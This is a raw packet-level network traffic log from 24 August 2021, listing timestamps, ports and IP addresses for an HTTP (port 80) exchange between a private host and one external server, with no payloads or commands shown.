Aug 24, 2021 14:01:33.305157900 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.305166006 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:33.305181980 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.305190086 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:33.305203915 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.305227041 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.305250883 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.305259943 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:33.305272102 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.305289984 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:33.305294037 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.305315971 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.305335045 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:33.305337906 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.305360079 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.305371046 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:33.305382013 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.305408001 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.305425882 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:33.305430889 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.305452108 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.305465937 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:33.305474043 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.305495024 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.305516005 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.305527925 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:33.305537939 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.305557013 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:33.305560112 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.305583954 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.305608034 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.305614948 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:33.305629015 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.305646896 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:33.305651903 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.305675030 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.305704117 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.305718899 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:33.305726051 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.305747032 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:33.305748940 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.305769920 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.305792093 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:33.305794001 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.305814981 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.305840969 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.305849075 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:33.305862904 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.305876017 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:33.305883884 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.305907011 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.305917978 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:33.305929899 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.305953026 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.305968046 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:33.305975914 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.305998087 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.306022882 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.306030989 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:33.306046009 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.306063890 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:33.306067944 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.306090117 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.306102991 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:33.306112051 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.306134939 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.306150913 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:33.306158066 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.306180954 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.306194067 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:33.306206942 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.306231976 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.306241989 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:33.306253910 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.306276083 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.306289911 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:33.306298971 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.306320906 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.306334972 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:33.306341887 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.306364059 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.306384087 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:33.306402922 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.306427956 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.306441069 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:33.306448936 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.306472063 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.306488991 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:33.306493044 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.306514978 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.306539059 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.306550980 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:33.306560040 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.306577921 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:33.306585073 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.306607008 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.306621075 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:33.306629896 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.306653023 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.306670904 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:33.306674957 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.306695938 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.306713104 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:33.306720018 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.306741953 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.306752920 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:33.306766033 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.306787968 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.306801081 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:33.306809902 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.306830883 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.306843042 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:33.307401896 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.307425976 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.307446003 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.307461977 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:33.307470083 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.307492971 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.307496071 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:33.307513952 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.307527065 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:33.307538033 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.307560921 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.307579041 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:33.307583094 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.307606936 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.307620049 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:33.307627916 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.307648897 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.307670116 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:33.307672024 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.307708979 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:33.317581892 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.317617893 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.317641020 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.317652941 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.317670107 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.317749023 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:33.317802906 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:33.328943014 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.328995943 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.329036951 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.329066992 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:33.329082012 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.329101086 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:33.329123974 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.329160929 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.329202890 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.329214096 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:33.329242945 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.329248905 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:33.329282999 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.329324007 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.329325914 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:33.329363108 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.329406023 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.329441071 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:33.329447031 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.329485893 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.329521894 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:33.329526901 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.329566002 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.329595089 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.329621077 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:33.329633951 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.329636097 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:33.329673052 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.329714060 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.329755068 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.329756975 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:33.329792023 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.329823971 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.329835892 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:33.329859018 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.329895020 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.329898119 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:33.329931021 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.329961061 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.329974890 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:33.330005884 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.330037117 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:33.330044031 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.330079079 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:33.330079079 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.330120087 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.330159903 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.330166101 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:33.330195904 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.330233097 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.330235004 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:33.330266953 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.330307961 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.330337048 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:33.330348969 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.330387115 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.330426931 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.330435991 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:33.330463886 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.330475092 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:33.330502033 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.330537081 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.330548048 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:33.330574036 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.330616951 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.330657005 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.330660105 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:33.330693960 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.330735922 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:33.330738068 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.330770969 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:33.330779076 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.330816031 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.330852985 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:33.330852985 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.330894947 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.330929041 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.330931902 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:33.330964088 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.330998898 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.331002951 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:33.331032038 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.331059933 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.331068039 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:33.331084967 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.331110954 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.331130028 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:33.331191063 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.331227064 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.331252098 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:33.331260920 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.331289053 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.331312895 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:33.331315041 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.331341028 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.331350088 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:33.331367016 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.331393003 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.331403971 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:33.331424952 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.331454039 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.331479073 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.331489086 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:33.331505060 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.331523895 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:33.331530094 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.331554890 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.331581116 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.331590891 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:33.331607103 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.331619978 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:33.331639051 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.331669092 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.331695080 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.331722021 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.331722975 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:33.331747055 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:33.331748962 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.331773996 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.331796885 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:33.331799984 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.331825972 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.331857920 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.331867933 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:33.331886053 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.331907988 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:33.331912041 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.331938982 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.331952095 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:33.331964016 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.331990004 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.332000971 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:33.332025051 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.332091093 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.332128048 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.332130909 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:33.332159042 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:33.332163095 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.332200050 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.332237005 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.332241058 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:33.332298994 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.332343102 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.332379103 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.332392931 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:33.332417965 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:33.332439899 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.332474947 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.332500935 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.332526922 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.332535982 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:33.332559109 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.332588911 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.332613945 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.332618952 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:33.332637072 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:33.332640886 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.332665920 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.332690954 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.332694054 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:33.332716942 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.332743883 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.332752943 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:33.332775116 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.332786083 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:33.332804918 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.332829952 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.332854986 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:33.332855940 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.332881927 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.332906961 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.332918882 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:33.332932949 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.332943916 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:33.332958937 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.332989931 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.332998991 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:33.333019018 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.333045006 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.333055019 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:33.333070993 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.333096027 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.333121061 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.333143950 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:33.333147049 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.333168983 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:33.333173990 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.333205938 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.333235025 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.333256960 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:33.333259106 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.333286047 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:33.333286047 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.333312035 CEST	80	49723	212.224.105.79	192.168.2.3
